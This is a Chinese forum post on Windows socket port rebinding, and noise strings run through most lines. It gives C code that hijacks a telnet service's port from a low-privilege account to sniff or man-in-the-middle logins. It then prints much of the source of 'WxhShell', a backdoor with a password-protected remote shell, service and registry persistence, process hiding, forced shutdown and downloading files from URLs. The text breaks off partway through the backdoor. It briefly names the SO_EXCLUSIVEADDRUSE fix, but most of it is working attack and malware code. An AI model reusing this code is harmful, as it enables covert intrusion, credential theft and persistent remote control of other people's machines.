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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: K0z@gWGE  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); U(u$5  
 mIkc +X  
  saddr.sin_family = AF_INET; vGI?X#w3  
D?@e,e  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); @g==U{k;t  
7 J+cs^2  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 2` j#eB1  
,]8$QFf  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 Q(7M_2e7  
)ZQML0}P;  
  这意味着什么?意味着可以进行如下的攻击: D$/*Z5Z)]  
h;Se.{  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 @Sd l~'"  
5Q.z#]L g  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) ,`;Dre  
O*y@4AR"S  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 dRPX`%J  
&~a/Upz0]_  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  6/&aBE=  
`6 `oLu\l  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 >2@ a\  
;O Y*`(Id  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 N77EM  
$][$ e  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 QP0[  
n 2m!a0;  
  #include +Rb0:r>kU  
  #include aIW W[xZ  
  #include v#o<. Ig  
  #include    $H2HVJ  
  DWORD WINAPI ClientThread(LPVOID lpParam);   (&ABfm/t  
  int main() d vTsbs/6  
  { OX*5 yT{  
  WORD wVersionRequested; xXm:S{I  
  DWORD ret; {ehAF=C  
  WSADATA wsaData; Ri&?uCCM  
  BOOL val; kG70j{gf  
  SOCKADDR_IN saddr; [t}$W*hY  
  SOCKADDR_IN scaddr; [Csv/  
  int err; %9P)Okq  
  SOCKET s; CxW-lU3G`  
  SOCKET sc; 7d"gRM;  
  int caddsize; >djTJ>dl_u  
  HANDLE mt; Rr3<ln  
  DWORD tid;   k| Ye[GM*  
  wVersionRequested = MAKEWORD( 2, 2 ); hY-;Vh0J  
  err = WSAStartup( wVersionRequested, &wsaData ); SFRQpQ06  
  if ( err != 0 ) {  LAfv1  
  printf("error!WSAStartup failed!\n"); o,;Hb4Eu  
  return -1; y&8kORz;?  
  } (XJ0?;js=  
  saddr.sin_family = AF_INET; ~76qFZe-  
   *g;4?_f  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 0'O*Y ]h+  
.P>-Fh,_p  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); K%/:V  
  saddr.sin_port = htons(23); 6fr@y=s2:  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 'AjDB:Mt$  
  { Bm&%N?9  
  printf("error!socket failed!\n"); \"^.>+  
  return -1; {^qp~0  
  } __N#Y/e ]  
  val = TRUE; -yH8bm'0"  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 FELTmQUV  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) I:9jn"  
  { ,}hJ)  
  printf("error!setsockopt failed!\n"); nax(V  
  return -1; &@anv.D  
  } G,6Zy-Y9  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; =fZMute  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 >84:1 `  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 P-c<[DSM'I  
3~&h9#7 Ke  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) BvA09lK  
  { DHnu F@M  
  ret=GetLastError(); _[_mmf1;:'  
  printf("error!bind failed!\n"); @g~hYc  
  return -1; V=LJ_T"z0  
  } ;`P}\Q{  
  listen(s,2); rBY{&JhS  
  while(1) fX[6  {  
  { Z(=U ZI?  
  caddsize = sizeof(scaddr); ]E/~PV  
  //接受连接请求 3] u[NR  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); <h7FS90S  
  if(sc!=INVALID_SOCKET) &lp5W)D  
  { E")g1xGaK  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); O5?Gv??@  
  if(mt==NULL) C0bOPn  
  { %m5&U6  
  printf("Thread Creat Failed!\n"); ca{u"n  
  break; 'eRJQ*0F  
  } %Qc5_of  
  } #^FDFl  
  CloseHandle(mt); ILQB%0!  
  } D+"-(k  
  closesocket(s);  T.{sO`  
  WSACleanup(); 'QrvkQ  
  return 0; ZSo#vQ  
  }   %tRQK$]c  
  DWORD WINAPI ClientThread(LPVOID lpParam) ?\D=DIN-r  
  { Cm5:_K`;]  
  SOCKET ss = (SOCKET)lpParam; R^*h|7)E  
  SOCKET sc; Z1t?+v+Ro*  
  unsigned char buf[4096]; dY'mY~Tv  
  SOCKADDR_IN saddr; 68k  
  long num; 2UF ,W]  
  DWORD val; }j. [h;C6  
  DWORD ret; 6HyndB^  
  //如果是隐藏端口应用的话,可以在此处加一些判断 !y{t}|U/d  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   wC~ra:/?:7  
  saddr.sin_family = AF_INET; 4tb y N  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); q0l=S+0  
  saddr.sin_port = htons(23); aN/0'V|&ym  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) }wh sZ  
  { =/b WS,=  
  printf("error!socket failed!\n"); g;Lk 'Ky6  
  return -1; j$z<wR7j0  
  } '.mHx#?7  
  val = 100; 0;bi*2U  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) RTgR>qI&)  
  { | <q9Ee  
  ret = GetLastError(); gPu0j4&-  
  return -1; S|pMX87R  
  } \~:Uj~  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) AUk,sCxd  
  { 3i c6!T#t"  
  ret = GetLastError(); EGKj1_ml  
  return -1; aj71oki)  
  } wf= s-C  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ^^-uq)A  
  { W_ =  
  printf("error!socket connect failed!\n"); SX4"HadV>  
  closesocket(sc); P})Iwk|Z  
  closesocket(ss); 8<VO>WA>E  
  return -1; L:(>ON  
  } E(;V.=I  
  while(1) l-Q.@hG  
  { ;hsem,C h7  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 )TmqE<[  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 !)}3[h0  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 &%ZiI@O-  
  num = recv(ss,buf,4096,0); TC=djC4$/  
  if(num>0) o?Wp[{K  
  send(sc,buf,num,0); h5:>o  
  else if(num==0) 6U`<+[K7  
  break; d0;$k,  
  num = recv(sc,buf,4096,0); |"Rl_+d7D  
  if(num>0) b"t<B2N  
  send(ss,buf,num,0); H)Zb_>iV  
  else if(num==0) g@<E0 q&`$  
  break; bHi0N@W!vG  
  } oBm^RHTZ  
  closesocket(ss); z/,qQVv=}4  
  closesocket(sc); 1ud+~y$K  
  return 0 ; VGVZ`|  
  } QBNnvg4v  
wQ4IQ!  
Jf/X3\0N7  
========================================================== 3y9K'  
t~l uBUF  
下边附上一个代码,,WXhSHELL sUfYEVjr  
QEavbh^S  
========================================================== %SwN/rna  
RcASFBNpS  
#include "stdafx.h" : *~}\M*  
O%g%*9  
#include <stdio.h> p;GT[Ds^  
#include <string.h> abHW[VP9  
#include <windows.h> :`9hgd/9  
#include <winsock2.h> fVU9?^0/)9  
#include <winsvc.h> }SdI _sLe  
#include <urlmon.h> )]=1W  
@wy&Z  
#pragma comment (lib, "Ws2_32.lib") 6(Qr!<  
#pragma comment (lib, "urlmon.lib") tj:Q]]\M  
b)SU8z!NV&  
#define MAX_USER   100 // 最大客户端连接数 N34.Bt  
#define BUF_SOCK   200 // sock buffer #SHmAB  
#define KEY_BUFF   255 // 输入 buffer 1|?8g2Vf  
h"7:&=e  
#define REBOOT     0   // 重启 PJ=N.x f}  
#define SHUTDOWN   1   // 关机 tA?cHDp4E  
>d`XR"_e  
#define DEF_PORT   5000 // 监听端口 S G&VZY  
yU-^w^4  
#define REG_LEN     16   // 注册表键长度 |NbF3 fD  
#define SVC_LEN     80   // NT服务名长度 'E4`qq  
!Od?69W, $  
// 从dll定义API d,Fj|}S  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); oBA]qI  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); H O^3v34ZO  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 6N{V cfq  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); P <$)v5f  
Br}&  
// wxhshell配置信息 X}Ey6*D:  
struct WSCFG { GAZTCkB"  
  int ws_port;         // 监听端口 [3yzVcr~4  
  char ws_passstr[REG_LEN]; // 口令 4k HFfc  
  int ws_autoins;       // 安装标记, 1=yes 0=no ad\?@>[ I  
  char ws_regname[REG_LEN]; // 注册表键名 2 kOFyD  
  char ws_svcname[REG_LEN]; // 服务名 ^V DJGBk  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 n~1'M/wh  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 LDj'L~H  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 .`iG} j)\  
int ws_downexe;       // 下载执行标记, 1=yes 0=no '`-W!g[ >  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" AhZ`hj   
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 $[L8UUHY<8  
$`2rtF  
}; fZ9EE3  
yqy5i{Y  
// default Wxhshell configuration )yV|vn  
struct WSCFG wscfg={DEF_PORT, N2?o6)  
    "xuhuanlingzhe", Vvth,  
    1, 3'd(=hJ45$  
    "Wxhshell", ){AtV&{$  
    "Wxhshell", V~Zi #o  
            "WxhShell Service", ]x8_f6;D  
    "Wrsky Windows CmdShell Service", [j6EzMN  
    "Please Input Your Password: ", ho1Mo  
  1, vhw"Nl  
  "http://www.wrsky.com/wxhshell.exe", Z~g I)  
  "Wxhshell.exe" %idn7STJ}  
    }; 1]yOC)u"i  
E%eTjvvxus  
// 消息定义模块 dQ6n[$Q@N  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; m;=wQYFr{I  
char *msg_ws_prompt="\n\r? for help\n\r#>"; SIJ:[=5!7  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; IL:d`Kbqf  
char *msg_ws_ext="\n\rExit."; xiu?BP?V  
char *msg_ws_end="\n\rQuit."; bIFKP  
char *msg_ws_boot="\n\rReboot..."; jV(\]g"/=  
char *msg_ws_poff="\n\rShutdown..."; Di[}y;  
char *msg_ws_down="\n\rSave to "; ]s*Fs]1+H  
7eQE[C  
char *msg_ws_err="\n\rErr!"; U~~Y'R\ NU  
char *msg_ws_ok="\n\rOK!"; dmq<vVxC  
U>q&p}z0 H  
char ExeFile[MAX_PATH]; AN!MFsk  
int nUser = 0; Sv*@3x  
HANDLE handles[MAX_USER]; ISQC{K']J  
int OsIsNt; s6#@S4^=\  
ZS&n,<a5L}  
SERVICE_STATUS       serviceStatus; U($sH9,  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; hK!Z ~  
:$bp4+3>  
// 函数声明 ;j#$d@VG"  
int Install(void);  0p8Z l  
int Uninstall(void); uCA! L)$  
int DownloadFile(char *sURL, SOCKET wsh); a,o>E4#c  
int Boot(int flag); |4UU`J9M  
void HideProc(void); }pE8G#O&  
int GetOsVer(void); \htL\m^$9  
int Wxhshell(SOCKET wsl); q|E0Y   
void TalkWithClient(void *cs);  R^%uEP  
int CmdShell(SOCKET sock); CaX0Jlk*  
int StartFromService(void);  u/ Os  
int StartWxhshell(LPSTR lpCmdLine); Xx;RH9YYz  
'%W'HqVcG1  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Cd4a7<-  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 4Xna}7  
<OKzb3e  
// 数据结构和表定义 u9WQ0.  
SERVICE_TABLE_ENTRY DispatchTable[] = pNOVyyo>BW  
{ _3q%  
{wscfg.ws_svcname, NTServiceMain}, h[5<S&  
{NULL, NULL} KY)r kfo B  
}; |{#=#3X  
T5mdC  
// 自我安装 < q6z$c)K  
int Install(void)  b>N) H  
{ o8!gV/oy  
  char svExeFile[MAX_PATH]; QN%w\ JXS  
  HKEY key; ?/mkFDN  
  strcpy(svExeFile,ExeFile); *. H1m{V  
xS~O Acxg  
// 如果是win9x系统,修改注册表设为自启动 LPjsR=xi  
if(!OsIsNt) { DVu_KT[Hd  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 4dDDi,)U  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); F^5<o  
  RegCloseKey(key); VS$ZR'OP0  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { O|#N$a&_N  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); S.;>:Dd[K  
  RegCloseKey(key); 9m2_zfO[ w  
  return 0; xy@1E;  
    } n@LR?  
  } Vb|;@*=R&Q  
} ~Rzn =>a  
else { )4d)G5{  
3Lxk7D>0c  
// 如果是NT以上系统,安装为系统服务 \]y4e^FZZ  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); uV]4C^k;`[  
if (schSCManager!=0) ap;tggi(H  
{ zVLv-U/=d  
  SC_HANDLE schService = CreateService ?[4!2T,Ca  
  ( ,&S ^Ryc  
  schSCManager, U @Il:\I  
  wscfg.ws_svcname, [OI&_WIw  
  wscfg.ws_svcdisp, 7wt2|$Qz  
  SERVICE_ALL_ACCESS, #1MEmt  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ,2F4S5F~rC  
  SERVICE_AUTO_START, 8^fkY'x  
  SERVICE_ERROR_NORMAL, JPS7L}Kv  
  svExeFile, MCamc  
  NULL, {VC4rA  
  NULL, &9CKI/K:  
  NULL, x 4SI TY  
  NULL, 1a#oJU  
  NULL By=/DVm)=  
  ); qyP|`Pm4  
  if (schService!=0) o E+s8Q  
  { 2 }QD>  
  CloseServiceHandle(schService); 0y$aGAUm  
  CloseServiceHandle(schSCManager); b\zRwp  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); >uN`q1?l'  
  strcat(svExeFile,wscfg.ws_svcname); &a?&G'?  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { &"dT/5}6  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Rd5ni2-nve  
  RegCloseKey(key); %0]vW;Q5  
  return 0; {~g(WxE  
    } 6qA48:/F=  
  } +):t6oX|  
  CloseServiceHandle(schSCManager); +"Pt?k  
} RU!j"T 5  
} r`]&{0}23  
K 7)1wiEj  
return 1; $or?7 w>  
} }?,Gn]]  
I At;?4  
// 自我卸载 w=I' CMRt  
int Uninstall(void) ;!4Bw"Gg  
{ a a<9%j  
  HKEY key; ~Mv@Bl  
6KiI3%y?0  
if(!OsIsNt) { T`g.K6$b  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { fI%+  
  RegDeleteValue(key,wscfg.ws_regname); L&1VPli  
  RegCloseKey(key); (~/VP3.S  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { NiU}A$U  
  RegDeleteValue(key,wscfg.ws_regname); e{edI{g  
  RegCloseKey(key); !1f8~"Z  
  return 0; $'3`$   
  } cq'opjLf5  
} 0N3 cC4!  
} vjG: 1|*e  
else { Hz$l)g}U  
\1 4"Bgj1  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); !Gu,X'#Ab  
if (schSCManager!=0) u49zc9  
{ `fEB,0j^  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); &x{CC@g/  
  if (schService!=0) SCl$+9E  
  { ./@!k[  
  if(DeleteService(schService)!=0) { #5GIO  
  CloseServiceHandle(schService); (: IUg   
  CloseServiceHandle(schSCManager); jsS xjf;O  
  return 0; .3Nd[+[  
  } )r v5QH`i  
  CloseServiceHandle(schService); 7<[p1C*B  
  } - |mWi  
  CloseServiceHandle(schSCManager); H{'<v|I  
} [B9'/:  
} NLFSw  
"}UJ~ j).  
return 1; #Ag-?k  
} ko2Kz k  
Ghgx8 ]e  
// 从指定url下载文件 I]P'wav~O  
int DownloadFile(char *sURL, SOCKET wsh) J=4R" _yo  
{ u-Pa:wm0-  
  HRESULT hr; o.t$hv|  
char seps[]= "/"; O"4Q=~Y  
char *token; ^yUel.N5"  
char *file; A87JPX#R?  
char myURL[MAX_PATH]; ryzz!0l  
char myFILE[MAX_PATH]; c0]^V>}cl  
7N"$~UfC  
strcpy(myURL,sURL); ; >3q@9\D  
  token=strtok(myURL,seps); i(9=` A}  
  while(token!=NULL) e&f9/rfx  
  { gB@Xi*  
    file=token; "bAkS}(hB(  
  token=strtok(NULL,seps); 43pQFDWa  
  } <=8REA?  
6k;__@B,  
GetCurrentDirectory(MAX_PATH,myFILE); *vFVXJo  
strcat(myFILE, "\\"); FblwQ-D  
strcat(myFILE, file); /_E8'qlx  
  send(wsh,myFILE,strlen(myFILE),0); <}-[9fW  
send(wsh,"...",3,0); Pg" uisT#>  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); brJ _q0@  
  if(hr==S_OK) vz:P 2TkM  
return 0; Ed9ynJ~)X  
else N2uxiXpQZ=  
return 1; knX0b$$  
Vh^fbv`?  
} J& }/Xw)  
Pl<r*d)h  
// 系统电源模块  6\ /x  
int Boot(int flag) ~H/|J^ J  
{ yiGq?WA7  
  HANDLE hToken; naCPSsei  
  TOKEN_PRIVILEGES tkp; 2b xkZS]  
24"Trg\WK[  
  if(OsIsNt) { O[f*!  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Ed,`1+  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 8;;!2>N  
    tkp.PrivilegeCount = 1; $8o(_8Q)  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; \|nF55W [  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 1"3|6&=  
if(flag==REBOOT) { 'M185wDdAl  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 7P O3{I  
  return 0; 6lO]V=+  
} VTySKY+  
else { qEr2Y/:i"  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) }\}pSqW  
  return 0; |n=m{JX\m  
} ZB GLwe  
  } Xn-GSW3{  
  else { \y^Od7F  
if(flag==REBOOT) { `,d*>  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) X=_pQ+j`^  
  return 0; wEENN_w  
} gO%#'Eb2  
else { A,i.1U"w8  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) "Wr5:T-;  
  return 0; RvKP&  
} $A"kHS7T  
} KJ<7aZ  
y0cHs|8  
return 1; ;NH 5 L,  
} 9Y!N\-x`  
B1T:c4:N  
// win9x进程隐藏模块 84^ '^nd  
void HideProc(void) cjt<&b*  
{ \#.,@g  
'HTr02riY  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); <l]P <N8^  
  if ( hKernel != NULL ) py.lGywb_  
  { /%9D$\  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); K: g_M  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Nq1la8oQ3  
    FreeLibrary(hKernel); }# 'wy  
  } Kk1591'  
HQ~`ha.  
return; %JM:4G|q  
} ~K}iVX  
$2qZds[  
// 获取操作系统版本 R06L4,/b  
int GetOsVer(void) )I'?]p<  
{ C( 8i0(1  
  OSVERSIONINFO winfo; W[BZ/   
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); )=l~XV  
  GetVersionEx(&winfo); jY%&G#4  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 6nh!g  
  return 1; |niYN7 17  
  else B*7Y5_N  
  return 0; xgHR;US H  
} "MHm9D?5  
j78WPG  
// 客户端句柄模块 &v|Uy}h&%1  
int Wxhshell(SOCKET wsl) =!T@'P?  
{ !E!i`yF  
  SOCKET wsh; DhY.5  
  struct sockaddr_in client; b"n8~Vd  
  DWORD myID; I Y%M5(&Q  
n2&*5m&$  
  while(nUser<MAX_USER) W1'F)5(?7  
{ uKc x$  
  int nSize=sizeof(client); IvGQ7 VLr  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); "s!!\/^9C  
  if(wsh==INVALID_SOCKET) return 1; 52?zBl`|  
1=(jpy  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); c*2 U'A  
if(handles[nUser]==0) eJA$J=^R;  
  closesocket(wsh); MyB&mC7Es  
else FY_.Vp  
  nUser++; d%_=r." Y  
  } 6" fYSn>  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Q^X  
|{ W4JFKJ  
  return 0; ly"Jl8/<  
} pgbm2mT9  
0$)s? \  
// 关闭 socket EdFCaW}""  
void CloseIt(SOCKET wsh) >KHR;W03  
{ 0/K?'&$yvb  
closesocket(wsh); u3 k%  
nUser--; <knf^D<"  
ExitThread(0); hkV;(Fr&z  
} 0WT]fY?IS  
a(AKVk\  
// 客户端请求句柄 ,Y *unk<S  
void TalkWithClient(void *cs) f%vJmpg  
{ !v/5 G_pr  
~hK7(K  
  SOCKET wsh=(SOCKET)cs; F. 5'5%  
  char pwd[SVC_LEN]; Z(DCR/U=(>  
  char cmd[KEY_BUFF];  8:=&=9%  
char chr[1]; pF kA,  
int i,j; +UbSqp1BS  
&*2\1;1tB  
  while (nUser < MAX_USER) { biAI*t  
AsFn%8_I  
if(wscfg.ws_passstr) { n@5Sp2p  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 8K+(CS>xvO  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ldp x,  
  //ZeroMemory(pwd,KEY_BUFF); ql"&E{u?  
      i=0; gc(Gc vdB\  
  while(i<SVC_LEN) { AGaM &x=  
BS3Aczwk  
  // 设置超时 U\aP  
  fd_set FdRead; <Sds5 d  
  struct timeval TimeOut; +B(x:hzY9  
  FD_ZERO(&FdRead); {UqSq  
  FD_SET(wsh,&FdRead); wM.z/r\p  
  TimeOut.tv_sec=8; (NfP2E|B  
  TimeOut.tv_usec=0; _|<kKfd?  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); l{b<rUh5W  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); _vOV(#q2a  
,n\"zYf ]^  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); _Z~cJIEU  
  pwd=chr[0]; =KQQS6  
  if(chr[0]==0xd || chr[0]==0xa) { & Tz@lvOv%  
  pwd=0; vBy t_X  
  break; 8Aq [@i  
  } 5)h#NkA\J  
  i++; &L7u//  
    } C]S~DK1  
B ~u9"SR.  
  // 如果是非法用户,关闭 socket $t*>A+J  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); {g8uMt\4  
} kk|7{83O  
GJZGHUB=>  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); PJd7t% m;  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); h>ZNPP8N  
Oi#4|*b{W  
while(1) { ]vj.s/F~  
758`lfz=_  
  ZeroMemory(cmd,KEY_BUFF); ;]*V6!6RR  
wQ1_Q8:Z  
      // 自动支持客户端 telnet标准   'Br:f_}  
  j=0; y98 v  
  while(j<KEY_BUFF) { s|er+-'  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); qHwHP 1  
  cmd[j]=chr[0]; R7)\w P*l5  
  if(chr[0]==0xa || chr[0]==0xd) { 5zk<s`h  
  cmd[j]=0; E :gS*tsY  
  break; w+A:]SU  
  } Skb,cKU  
  j++; 5L ]TV\\  
    } 'XW[uK]w)  
>?Y)evW  
  // 下载文件 05sWN0  
  if(strstr(cmd,"http://")) { t<~WDI|AN  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); y{ & k`H  
  if(DownloadFile(cmd,wsh)) :~uvxiF  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Yz<,`w5/6~  
  else dA,irb I0W  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); %>,B1nt  
  } F; upb5  
  else { zzlqj){F  
jbQ N<`!  
    switch(cmd[0]) { XKp$v']u  
  E`E$ }iLs  
  // 帮助 bBx.snBK  
  case '?': { b:%z<vo  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); fPXMp%T!  
    break; \.0cA4)[$  
  } TFZvZi$u&  
  // 安装 $H0diwl9R  
  case 'i': { hKkUsY=R  
    if(Install()) Ufx^@%v  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2T3TD%  
    else C%c}lv8;^  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ^3>Qf  
    break; MHF31/g\  
    } Z|78>0SAt  
  // 卸载 M.DU^-7  
  case 'r': { !T+jb\O_  
    if(Uninstall()) c L+-- $L  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Mn)>G36(  
    else Oup5LH!sW  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); p#14  
    break; 8PN/*Sa  
    } 0P MF)';R  
  // 显示 wxhshell 所在路径 "zN2+X"&  
  case 'p': { 1yFVF  
    char svExeFile[MAX_PATH];  L#  
    strcpy(svExeFile,"\n\r"); yQP!Vt^  
      strcat(svExeFile,ExeFile); T/[8w  
        send(wsh,svExeFile,strlen(svExeFile),0); xXa* d  
    break; S7|6dwQ&  
    } C-wwQbdG/  
  // 重启 _'eG   
  case 'b': { ;HKb  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); iCz0T,  
    if(Boot(REBOOT)) <V> [H7  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); cImOZx  
    else { KBUClx?  
    closesocket(wsh); t>f61<27eB  
    ExitThread(0); A$6T)  
    } .2K4<UOAbm  
    break; ZQL4<fy'E  
    } "ITC P<+  
  // 关机 Y 6NoNc]h  
  case 'd': { +2DzX/3  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); jb~W(8cj  
